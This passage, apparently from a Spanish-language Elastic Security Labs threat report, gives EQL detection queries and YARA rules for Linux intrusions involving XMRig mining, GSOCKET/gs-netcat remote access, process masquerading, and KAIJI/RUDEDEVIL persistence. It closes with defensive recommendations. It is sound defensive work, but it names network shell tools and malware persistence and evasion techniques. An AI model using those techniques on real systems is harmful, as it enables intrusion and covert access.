      "gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
      "rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
      "cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
      "cn-lite/0", "cn/0"
    )
  ) or
  (
    process.args == "--coin" and process.args in ("monero", "arqma", "dero")
  )
) and process.args in ("-o", "--url")

Acceso de escritura de MSR habilitado

XMRIG aprovecha modprobe para habilitar el acceso de escritura a MSR. Esta actividad es anormal y no debe producir de forma predeterminada.

process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"

Actividad potencial de GSOCKET

Esta actividad es el comportamiento predeterminado cuando se implementa GSOCKET a través de los métodos de implementación recomendados. Además, se agregan varios argumentos a la consulta para disminuir las posibilidades de perder una intrusión más personalizada a través de GSOCKET.

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)

Enmascaramiento de procesos potenciales a través de Exec

GSOCKET aprovecha el método exec -a para ejecutar un proceso con un nombre diferente. GSOCKET aprovecha específicamente las mascaradas como procesos del kernel, pero otros programas maliciosos pueden enmascarar de manera diferente.

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"

Ejecución de Renice o Ulimit

Varios malwares, incluidos KAIJI y RUDEDEVIL, aprovechan la utilidad renice para cambiar la prioridad de los procesos o establecer límites de recursos para los procesos. Esto es comúnmente empleado por el malware minero para aumentar la prioridad de los procesos de minería para maximizar el rendimiento de la minería.

process where event.type == "start" and event.action == "exec" and (
  process.name in ("ulimit", "renice") or (
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
  process.command_line : ("*ulimit*", "*renice*")
  )
)

Se inició el servicio Cron(d) inexistente

Tanto KAIJI como RUDEDEVIL establecen la persistencia a través de la creación de un servicio de cron(d) en /etc/init.d/cron(d). Cron, de forma predeterminada, no emplea un servicio SysV Init . La ejecución de un servicio cron(d) es sospechosa y debe ser analizada más a fondo.

process where event.type == "start" and event.action == "exec" and 
  process.name == "systemctl" and process.args == "start" and process.args in 
  ("cron.service", "crond.service", "cron", "crond")

Ejecución sospechosa de procesos /etc/ de KAIJI

El directorio /etc/ no es un directorio de uso común para ejecuciones de procesos. Se sabe que KAIJI coloca un binario llamado 32678 y id.services.conf en el directorio /etc/ , para establecer persistencia y evadir la detección.

process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))

Creación de archivos ocultos en el directorio /dev/

La creación de archivos ocultos en /dev/ y /dev/shm/ no son inherentemente maliciosos, sin embargo, esta actividad debería ser poco común. Se sabe que KAIJI, GSOCKET y otros malwares como K4SPREADER dejan caer archivos ocultos en estas ubicaciones.

file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")

Ejecución de Proceso Sospechoso desde el Ejecutable Padre en /boot/

Se sabe que los malwares como KAIJI y XORDDOS colocan archivos ejecutables en el directorio /boot/ y los aprovechan para establecer persistencia mientras intentan evadir la detección.

process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"

YARA

Elastic Security creó reglas YARA para identificar esta actividad. A continuación se muestra la regla YARA para identificar el malware Apache2 personalizado:

rule Linux_Trojan_Generic {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Trojan.Generic"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = "yyyyyyyy"
    condition:
        1 of ($enc*) and $key
}

Para detectar GSOCKET, incluidas varias de sus herramientas adyacentes, creamos la siguiente firma:

rule Multi_Hacktool_Gsocket {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-23"
        os = "Linux, MacOS"
        arch = "x86"
        threat_name = "Multi.Hacktool.Gsocket"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $str1 = "gsocket: gs_funcs not found"
        $str2 = "/share/gsocket/gs_funcs"
        $str3 = "$GSOCKET_ARGS"
        $str4 = "GSOCKET_SECRET"
        $str5 = "GS_HIJACK_PORTS"
        $str6 = "sftp -D gs-netcat"
        $str7 = "GS_NETCAT_BIN"
        $str8 = "GSOCKET_NO_GREETINGS"
        $str9 = "GS-NETCAT(1)"
        $str10 = "GSOCKET_SOCKS_IP"
        $str11 = "GSOCKET_SOCKS_PORT"
        $str12 = "gsocket(1)"
        $str13 = "gs-sftp(1)"
        $str14 = "gs-mount(1)"
    condition:
        3 of them
}

Finalmente, la siguiente firma fue escrita para detectar la herramienta de código abierto Ligolo-ng, ya que tenemos razones para creer que esta herramienta fue empleada durante esta intrusión.

rule Linux_Hacktool_LigoloNG {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Hacktool.LigoloNG"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $a = "https://github.com/nicocha30/ligolo-ng"
        $b = "@Nicocha30!"
        $c = "Ligolo-ng %s / %s / %s"
    condition:
        all of them
}

Recomendaciones defensivas

Para defender eficazmente contra las campañas de malware y minimizar el riesgo de intrusión, es crucial implementar un enfoque de seguridad de varias capas. Estas son algunas medidas defensivas clave que debe priorizar:

1. Mantenga sus reglas de detección elásticas actualizadas y habilitadas: cerciorar de que sus herramientas de seguridad, incluidas las reglas de detección prediseñadas, estén actualizadas. Las actualizaciones continuas permiten que sus sistemas detecten las últimas firmas y comportamientos de malware.
2. Habilitar el modo de prevención en Elastic Defend: configura Elastic Defend en modo de prevención para bloquear automáticamente las amenazas conocidas en lugar de solo alertar sobre ellas. El modo de prevención garantiza una defensa proactiva contra el malware y los exploits.
3. Monitorear las alertas y los registros: monitorear de manera regular las alertas, los registros y los servidores para detectar signos de actividad sospechosa. La detección temprana de comportamientos inusuales puede ayudar a evitar que una pequeña brecha se convierta en un compromiso en toda regla.
4. Lleve a cabo la búsqueda de amenazas: investigue de forma proactiva su entorno en busca de amenazas ocultas que puedan evadir la detección. La búsqueda de amenazas puede descubrir ataques avanzados y malware persistente que eluden las medidas de seguridad tradicionales.
5. Implemente firewalls de aplicaciones sitio web (WAF): emplee un WAF para bloquear el tráfico no autorizado o malicioso. Un firewall configurado correctamente puede prevenir muchos ataques sitio web comunes.
6. Aplique la autenticación estable para SSH: emplee la autenticación de clave pública/privada para el acceso SSH para proteger contra ataques de fuerza bruta.
7. Escriba código seguro: cerciorar de que todo el software personalizado, especialmente la tecnología de servidor sitio web, siga prácticas de codificación segura. Contratar a contralor de seguridad profesionales para que revisen su código puede ayudar a identificar y mitigar las vulnerabilidades antes de que se exploten.
8. Parchear y actualizar de manera regular los sistemas: Mantener actualizados los servidores, las aplicaciones y el software es esencial para defender contra las vulnerabilidades conocidas. La aplicación rápida de parches minimiza el riesgo de ser objeto de exploits listos para usar.

Siguiendo estas recomendaciones, puede reducir significativamente la superficie de ataque y fortalecer su defensa contra las amenazas de malware en curso o potenciales.

Observaciones

En esta investigación se discutieron los siguientes observables. Estos están disponibles para su descarga en formato STIX o ECS aquí.

Referencias

A lo largo de la investigación anterior se hizo referencia a lo siguiente:

• https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
• https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/
• https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities
• https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/
• https://github.com/hackerschoice/gsocket